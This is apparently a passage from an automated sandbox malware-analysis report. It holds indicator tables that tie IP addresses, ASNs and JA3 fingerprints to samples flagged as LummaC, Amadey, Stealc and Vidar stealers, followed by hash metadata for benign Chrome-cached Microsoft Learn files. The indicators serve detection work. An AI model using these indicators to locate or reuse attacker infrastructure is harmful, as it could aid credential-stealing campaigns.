	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27
a0e9f5d64349fb13191bc781f81f42e1	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
